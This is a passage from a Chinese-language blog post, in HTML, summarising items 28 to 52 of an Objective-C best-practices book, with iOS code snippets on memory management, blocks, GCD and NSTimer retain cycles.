><strong>第二十八條:通過協議提供匿名對象</strong></span></p><p>協議可以在某種程度上提供匿名對象,例如id<someprotocal>object。object對象的類型不限,只要能遵從這個協議即可,在這個協議里面定義了這個對象所應該實現的方法。</someprotocal></p><p>如果具體類型不重要,重要的是對象能否處理好一些特定的方法,那么就可以使用這種協議匿名對象來完成。</p><p><span style=
"font-size: 24px;"
><strong>第五章:內存管理</strong></span></p><p><span style=
"font-size: 20px;"
><strong>第二十九條:理解引用計數</strong></span></p><p>理解引用計數這個可以通過《Objective-C 高級編程》這本書中的例子來理解,比較直觀,大概如下:</p><p style=
"text-align: center;"
><img src=
"http://cc.cocimg.com/api/uploads/20170809/1502264983629052.jpg"
title=
"1502264983629052.jpg"
alt=
"1457495-a2a2c38354a2af20.jpg"
></p><p style=
"text-align:center"
><img src=
"http://cc.cocimg.com/api/uploads/20170809/1502265069154379.png"
title=
"1502265069154379.png"
alt=
"QQ截圖20170809155041.png"
></p><ol class=
" list-paddingleft-2"
><li><p><span style=
"line-height: 1.8;"
>自動釋放池: 可以看到在我們程序中入口文件main.m中main函數中就包裹了一層autoreleasepool</span></p></li></ol><pre class=
"brush:js;toolbar:false"
>int main(int argc, char * argv[]) {
@autoreleasepool {
return
UIApplicationMain(argc, argv, nil, NSStringFromClass([HSAppDelegate class]));
}
}</pre><p>autoreleasepool可以延長對象的生命期,使其在跨越方法調用邊界后依然可以存活一段時間,通常是在下一次“時間循環”(event loop)時釋放,不過也可能會執行的早一點。</p><p>保留環: 也稱retain cycle,就是循環引用。形成原因就是對象之間相互用強引用指向對方,會使得全部都無法得以釋放。解決方案通常是使用弱引用(weak reference)</p><p><span style=
"font-size: 20px;"
><strong>第三十條:以ARC簡化引用計數</strong></span></p><p>使用ARC,可以省略對于引用計數的操作,所以在ARC下調用對象的retain,release,autorelease,dealloc方法時系統會報錯。</p><p>這里要注意CoreFoundation 對象不歸ARC管理,開發中如果有用到還是要誰創建誰釋放,適時調用CFRetain/CFRelease。</p><p><span style=
"font-size: 20px;"
><strong>第三十一條:在delloc方法中只釋放引用并解除監聽</strong></span></p><p>不要在delloc方法中調用其他方法,尤其是需要異步執行某些任務又要回調的方法,這樣的很危險的行為,很可能異步執行完回調的時候該對象已經被銷毀了,這樣就沒得玩了,crash了。</p><p>在delloc方法里應該制作一些釋放相關的事情,包括不限于一些KVO取消訂閱,remove 通知等。</p><p><span style=
"font-size: 20px;"
><strong>第三十二條:編寫“異常安全代碼”時留意內存管理問題</strong></span></p><p>這條有點重復,之前已經說過了,OC中拋出異常的時候可能會引起內存泄漏,注意一下使用的時機,或者注意在@
try
捕獲異常中清理干凈。</p><p><span style=
"font-size: 20px;"
><strong>第三十三條:以弱引用避免保留環</strong></span></p><p>這條比較簡單,內容主旨就是標題:以弱引用避免保留環(Retain Cycle)</p><p><span style=
"font-size: 20px;"
><strong>第三十四條:以“@autoreleasepool”降低內存峰值</strong></span></p><p>在遍歷處理一些大數組或者大字典的時候,可以使用自動釋放池來降低內存峰值,例如:</p><pre class=
"brush:js;toolbar:false"
>NSArray *people=/*一個很大的數組*/
NSMutableArray *employeesArray=[NSMutableArray
new
];
for
(NSStirng *name
in
people) {
@autoreleasepool {
MLEmployee *employee=[MLEmployee alloc] initWithName:name];
[employeesArray addObject:employee];
}
}</pre><p>第三十五條:用“僵尸對象”調試內存管理問題</p><p style=
"text-align: center;"
><img src=
"http://cc.cocimg.com/api/uploads/20170809/1502265475529193.jpg"
title=
"1502265475529193.jpg"
alt=
"1457495-586f50d111cab802.jpg"
></p><p>如上圖,勾選這里可以開啟僵尸對象設置。開啟之后,系統在回收對象時,不將其真正的回收,而是把它的isa指針指向特殊的僵尸類,變成僵尸對象。僵尸類能夠響應所有的選擇子,響應方式為:打印一條包含消息內容以及其接收者的消息,然后終止應用程序</p><p><span style=
"font-size: 20px;"
><strong>第三十六條:不要使用retainCount</strong></span></p><p>在蘋果引入ARC之后retainCount已經正式廢棄,任何時候都不要調用這個retainCount方法來查看引用計數了,因為這個值實際上已經沒有準確性了。但是在MRC下還是可以正常使用</p><p><span style=
"font-size: 24px;"
><strong>第六章:Block與GCD</strong></span></p><p><span style=
"font-size: 20px;"
><strong>第三十七條:理解block</strong></span></p><p>根據block在內存中的位置,block被分成三種類型:</p><ol class=
" list-paddingleft-2"
><li><p>NSGlobalBlock 全局塊:</p></li></ol><p>這種塊運行時無需獲取外界任何狀態,塊所使用的內存區域在編譯器就可以完全確定,所以該塊聲明在全局內存中。如果全局塊執行copy會是一個空操作,相當于什么都沒做。全局塊例如:</p><pre class=
"brush:js;toolbar:false"
>void (^block)()=^{
NSLog(@
"I am a NSGlobalBlock"
);
}</pre><ol class=
" list-paddingleft-2"
><li><p>NSStackBlock 棧塊:</p></li></ol><p>棧塊保存于棧區,超出變量作用域,棧上的block以及__block變量都會被銷毀。例如:</p><pre class=
"brush:js;toolbar:false"
>NSString *name=@
"PHP"
;
void (^block)()=^{
NSLog(@
"世界上最好的編程語言是%@"
, name);
};
NSLog(@
"%@"
, block);</pre><p>運行下你會發現控制臺打印的是:</p><pre class=
"brush:js;toolbar:false"
><br></pre><p>什么,你說什么,你打印出來的是__ NSMallocBlock __? 那是因為你在ARC下編譯的,ARC下編譯器編譯時會幫你優化自動幫你加上了copy操作,你可以用-fno-objc-arc關閉ARC再看一下</p><ol class=
" list-paddingleft-2"
><li><p>NSMallocBlock 堆塊:</p></li></ol><p>NSMallocBlock內心獨白:我已經被暴露了,為什么要最后才介紹我!!</p><p>堆block內存保存于堆區,在變量作用域結束時不受影響。通過之前在ARC下的輸出已經看到了__ NSMallocBlock __.所以我們在定義block類型的屬性時常常加上copy修飾,這個修飾其實是多余的,系統在ARC的時候已經幫我們做了copy,但是還是建議寫上copy。</p><p><span style=
"font-size: 20px;"
><strong>第三十八條:為常用的塊類型創建typedef</strong></span></p><p>這條主要是為了代碼更易讀,也比較重要。</p><pre class=
"brush:js;toolbar:false"
>- (void)getDataWithHost:(NSString *)host success:(void (^)(id responseDic))success;
//以上要改成下面這種
typedef void (^SuccessBlock)(id responseDic);
- (void)getDataWithHost:(NSString *)host success:(SuccessBlock)success;</pre><p><span style=
"font-size: 20px;"
><strong>第三十九條:用handler塊降低代碼分散程度</strong></span></p><p>在iOS開發中,我們經常需要異步執行一些任務,然后等待任務執行結束之后通知相關方法。實現此需求的做法很多,比如說有些人可能會選擇用委托協議。那么在這種異步執行一些任務,然后等待執行結束之后調用代理的時候,可能代碼就會比較分散。當多個任務都需要異步,等等就顯得比較不那么合理了。</p><p>所以我們可以考慮使用block的方式設計,這樣業務相關的代碼會比較緊湊,不會顯得那么凌亂。</p><p><span style=
"font-size: 20px;"
><strong>第四十條:用塊引用其所屬對象是不要出現保留環</strong></span></p><p>這點比較基礎了,但是要稍微說一下,不是一定得在block中使用weakself,比如下面:</p><pre class=
"brush:js;toolbar:false"
>[YTKNetwork requestBlock:^(id responsObject) {
NSLog(@
"%@"
,self.name);
}];</pre><p>block 不是被self所持有的,在block中就可以使用self</p><p><span style=
"font-size: 20px;"
><strong>第四十一條:多用派發隊列,少用同步鎖</strong></span></p><p>在iOS開發中,如果有多個線程要執行同一份代碼,我們可能需要加鎖來實現某種同步機制。有人可能第一印象想到的就是@synchronized(self),例如:</p><pre class=
"brush:js;toolbar:false"
>- (NSString*)someString {
@synchronized(self) {
return
_someString;
}
}
- (void)setSomeString:(NSString*)someString {
@synchronized(self) {
_someString=someString;
}
}</pre><p>這樣寫法效率很低,而且也不能保證線程中覺得的安全。如果有很多屬性,那么每個屬性的同步塊都要等其他同步塊執行完畢才能執行。</p><p>應該用GCD來替換:</p><pre class=
"brush:js;toolbar:false"
>_syncQueue=dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
//讀取字符串
- (NSString*)someString {
__block NSString *localSomeString;
dispatch_sync(_syncQueue, ^{
localSomeString=_someString;
});
return
localSomeString;
}
- (void)setSomeString:(NSString*)someString {
dispatch_barrier_async(_syncQueue, ^{
_someString=someString;
});
}</pre><p><span style=
"font-size: 20px;"
><strong>第四十二條:多用GCD,少用performSelector系列方法</strong></span></p><p>Objective-C本質上是一門分廠動態的語言,開發者在開發中可以指定任何一個方法去調用,也可以延遲調用一些方法,或者指定運行方法的線程。一般我們會想到performSelector,但是在GCD出來之后基本就沒那么需要performSelector了,performSelector也有很多缺點:</p><ol class=
" list-paddingleft-2"
><li><p>內存管理問題:在ARC下使用performSelector我們經常會看到編譯器發出如下警告:warning: performSelector may cause a leak because its selector is unknown [-Warc-performSelector-leaks]</p></li><li><p>performSelector的返回值只能是void或對象類型。</p></li><li><p>performSelector無法處理帶有多個參數的選擇子,最多只能處理兩個參數。</p></li></ol><p>為了改變這些,我們可以用下面這種方式</p><pre class=
"brush:js;toolbar:false"
>dispatch_async(dispatch_get_main_queue(), ^{
[self doSomething];
});</pre><p>替換掉</p><pre class=
"brush:js;toolbar:false"
>[self performSelectorOnMainThread:@selector(doSomething)
withObject:nil
waitUntilDone:NO];</pre><p>然后還可以用</p><pre class=
"brush:js;toolbar:false"
>dispatch_time_t time=dispatch_time(DISPATCH_TIME_NOW,
(int64_t)(5.0 * NSEC_PER_SEC));
dispatch_after(time, dispatch_get_main_queue(), ^(void){
[self doSomething];
});</pre><p>替換</p><pre class=
"brush:js;toolbar:false"
>[self performSelector:@selector(doSomething)
withObject:nil
afterDelay:5.0];</pre><p><span style=
"font-size: 20px;"
><strong>第四十三條:掌握GCD以及操作隊列的使用時機</strong></span></p><p>GCD技術確實很棒,但是也有一些局限性,或者說有一些場景并不適合。比如過想取消隊列中的某個操作,或者需要后臺執行任務。還有一種技術叫NSOperationQueue,其實NSOperationQueue跟GCD有很多相像之處。NSOperationQueue在GCD之前就已經有了,GCD就是在其某些原理上構建的。GCD是C層次的API,而NSOperation是重量級的Objective-C對象。</p><p>使用NSOperation和NSOperationQueue的優點:</p><p>支持取消某個操作:在運行任務前,可以在NSOperation對象上調用cancel方法,用以表明此任務不需要執行。不過已經啟動的任務無法取消。GCD隊列是無法取消的,GCD是“安排好之后就不管了(fire and forget)”。</p><p>支持指定操作間的依賴關系:一個操作可以依賴其他多個操作,例如從服務器下載并處理文件的動作可以用操作來表示,而在處理其他文件之前必須先下載“清單文件”。而后續的下載工作,都要依賴于先下載的清單文件這一操作。這時如果操作隊列允許并發執行的話,后續的下載操作就可以在他依賴的下載清單文件操作執行完畢之后開始同時執行。</p><p>支持通過KVO監控NSOperation對象的屬性:可以通過isCancelled屬性來判斷任務是否已取消,通過isFinished屬性來判斷任務是否已經完成等等。</p><p>支持指定操作的優先級:操作的優先級表示此操作與隊列中其他操作之間的優先關系,優先級搞的操作先執行,優先級低的后執行。GCD的隊列也有優先級,不過不是針對整個隊列的。</p><p>重用NSOperation對象。在開發中你可以使用NSOperation的子類或者自己創建NSOperation對象來保存一些信息,可以在類中定義方法,使得代碼能夠多次使用。不必重復自己。</p><p><span style=
"font-size: 20px;"
><strong>第四十四條:通過Dispatch Group機制,根據系統資源狀況來執行任務</strong></span></p><p>這條主要是介紹dispatch group,任務分組的功能。他可以把任務分組,然后等待這組任務執行完畢時會有通知,開發者可以拿到結果然后繼續下一步操作。</p><p>另外通過dispatch group在并發隊列上同時執行多項任務的時候,GCD會根據系統資源狀態來幫忙調度這些并發執行的任務。</p><p><span style=
"font-size: 20px;"
><strong>第四十五條:使用dispatch_once來執行只需要運行一次的線程安全代碼</strong></span></p><p>這條講的是常用的dispatch_once</p><pre class=
"brush:js;toolbar:false"
>+ (id)sharedInstance {
static EOCClass *sharedInstance=nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
? sharedInstance=[[self alloc] init];
});
return
sharedInstance;
}</pre><p>dispatch_once比較高效,沒有重量級的同步機制。</p><p><span style=
"font-size: 20px;"
><strong>第四十六條:不要使用dispatch_get_current_queue</strong></span></p><p>dispatch_get_current_queue 函數的行為常常與開發者所預期的不同,此函數已經廢棄,只應做調試之用。</p><p>由于GCD是按層級來組織的,所以無法單用某個隊列對象來描述
"當前隊列"
這一概念。</p><p>dispatch_get_current_queue 函數用于解決由不可以重入的代碼所引發的死鎖,然后能用此函數解決的問題,通常也可以用
"隊列特定數據"
來解決。</p><p><span style=
"font-size: 24px;"
><strong>第七章:系統框架</strong></span></p><p><span style=
"font-size: 20px;"
><strong>第四十七條:熟悉系統框架</strong></span></p><p>在Objective-C中除了Foundation 與CoreFoundation之外還有很多系統庫,其中包括但不限于下面列出的這些:</p><ol class=
" list-paddingleft-2"
><li><p>CFNetwork:此框架提供了C語言級別的網絡通信能力,它將BSD socket抽象成了易于使用的網絡接口。而Foundation則將該框架里的部分內容封裝為Objective-C接口,以便進行網絡通信。</p></li><li><p>CoreAudio:此框架所提供的C語言API可以用來操作設備上的音頻硬件。</p></li><li><p>AVFoundation:此框架所提供的Objective-C對象可用來回訪并錄制音頻及視頻,比如能夠在UI視圖類里播放視頻。</p></li><li><p>CoreData:此框架所提供的Objective-C接口可以將對象放入數據庫,將數據持久化。</p></li><li><p>CoreText:此框架提供的C語言接口可以高效執行文字排版以及渲染操作。</p></li><li><p>SpriteKit :游戲框架</p></li><li><p>CoreLocation、MapKit :定位地圖相關框架</p></li><li><p>Address Book框架:需要使用通訊錄時才使用該框架</p></li><li><p>Music Libraries框架:音樂庫相關框架</p></li><li><p>HealthKit框架:健康相關框架</p></li><li><p>HomeKit框架:為智能化硬件提供的框架</p></li><li><p>CloudKit : iCloud相關的框架</p></li><li><p>Passbook、PassKit框架:為了在應用中用戶可以很容易的訪問他們之前購買的活動門票、旅行車票、優惠券等等提供的框架</p></li></ol><p><span style=
"font-size: 20px;"
><strong>第四十八條:多用塊枚舉,少用
for
循環</strong></span></p><p>遍歷collection中的元素有四種方式,最基本的辦法就是
for
循環,其次是NSEnumerator遍歷法,還有快速遍歷法(
for
in
),以及塊枚舉法。塊枚舉是最新,最先進的方式。</p><p>塊枚舉法是通過GCD來并發執行遍歷操作</p><p>若提前知道待遍歷的collection含有何種對象,則應修改塊簽名,指出對象的具體類型。</p><p><span style=
"font-size: 20px;"
><strong>第四十九條:對自定義其內存管理語義的collecion使用無縫橋接</strong></span></p><p>通過無縫橋接技術,可以在定義于Foundation框架中的類和CoreFoundation框架中的C語言數據結構之間來回轉換。</p><p>下面代碼展示了簡單的無縫橋接:</p><pre class=
"brush:js;toolbar:false"
>NSArray *anNSArray=@[@1, @2, @3, @4, @5];
CFArrayRef aCFArray=(__bridge CFArrayRef)anNSArray;
NSLog(@
"Size of array=%li"
, CFArrayGetCount(aCFArray));
//Output: Size of array=5</pre><p>轉換操作中的__bridge告訴ARC如何傳力轉換所涉及的OC對象,也就是ARC仍然具備這個OC對象的所有權。__bridge_retained與之相反。這里要注意用完了數組要自己釋放,使用CFRelease(aCFArray)前面有提到過的。</p><p><span style="font-size: 20px;"><strong>第五十條:構建緩存時選用NSCache而非NSDictionary</strong></span></p><p>在構建緩存時應該盡量選用NSCache而非NSDictionary,NSCache會在系統資源將要耗盡時自動刪減緩存,而使用NSDictionary只能通過系統低內存警告方法去手動處理。此外NSCache還會看情況刪減最久未使用的對象,而且是線程安全的。</p><p><span style="font-size: 20px;"><strong>第五十一條:精簡initialize與load的實現代碼</strong></span></p><p>load與initialize 方法都應該實現的精簡一點,這樣有助于保持應用程序的響應能力,也可以減少引入依賴環的幾率</p><p>無法在編譯器設定的全局常量,可以放在initialize方法里面初始化。</p><p>另外沒搞清楚load 與 initialize的可以看這里, 我之前有出過一道有點腦殘有點繞的題(別拍磚,????),可以點擊這里查看</p><p><span style="font-size: 20px;"><strong>第五十二條:別忘了NSTimer會保留其目標對象</strong></span></p><p>在iOS開發中經常會用到定時器:NSTimer,由于NSTimer會生成指向其使用者的引用,而其使用者如果也引用了NSTimer,那就形成了該死的循環引用,比如下面這個例子:</p><pre class="brush:js;toolbar:false">#import @interface EOCClass : NSObject
- (void)startPolling;
- (void)stopPolling;
@end
@implementation EOCClass {
NSTimer *_pollTimer;
}
- (id)init {
return
[
super
init];
}
- (void)dealloc {
[_pollTimer invalidate];
}
- (void)stopPolling {
[_pollTimer invalidate];
_pollTimer=nil;
}
- (void)startPolling {
_pollTimer=[NSTimer scheduledTimerWithTimeInterval:5.0
target:self
selector:@selector(p_doPoll)
userInfo:nil
repeats:YES];
}
- (void)p_doPoll {
// Poll the resource
}
@end</pre><p>如果創建了本類的實例,并調用其startPolling方法開始定時器,由于目標對象是self,所以要保留此實例,因為定時器是用成員變量存放的,所以self也保留了計時器,所以此時存在保留環。此時要么調用stopPolling,要么令系統將此實例回收,只有這樣才能打破保留環。</p><p>這是一個很常見的內存泄漏,那么怎么解決呢?這個問題可以通過block來解決。可以添加這樣的一個分類:</p><pre class=
"brush:js;toolbar:false"
>
#import //.h
@interface NSTimer (EOCBlocksSupport)
+ (NSTimer*)eoc_scheduledTimerWithTimeInterval:(NSTimeInterval)interval
block:(void(^)())block
repeats:(BOOL)repeats;
@end
//.m
@implementation NSTimer (EOCBlocksSupport)
+ (NSTimer*)eoc_scheduledTimerWithTimeInterval:(NSTimeInterval)interval
block:(void(^)())block
repeats:(BOOL)repeats
{
return
[self scheduledTimerWithTimeInterval:interval
target:self
selector:@selector(eoc_blockInvoke:)
userInfo:[block copy]
repeats:repeats];
}
+ (void)eoc_blockInvoke:(NSTimer*)timer {
void (^block)()=timer.userInfo;
if
(block) {
block();
}
}
@end</pre><p>EOF : 由于個人能力有限,難免有一些遺漏或者錯誤,請各位看官不吝賜教!謝謝!同
*請認真填寫需求信息,我們會在24小時內與您取得聯系。